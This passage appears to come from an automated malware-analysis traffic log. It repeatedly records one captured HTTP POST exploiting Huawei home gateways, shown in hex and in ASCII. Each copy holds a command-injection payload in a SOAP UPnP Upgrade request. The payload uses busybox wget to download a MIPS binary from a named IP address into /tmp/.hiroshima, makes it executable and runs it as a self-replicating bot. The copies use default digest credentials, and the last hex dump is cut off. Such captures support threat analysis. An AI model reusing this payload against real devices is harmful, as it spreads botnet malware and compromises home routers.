73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 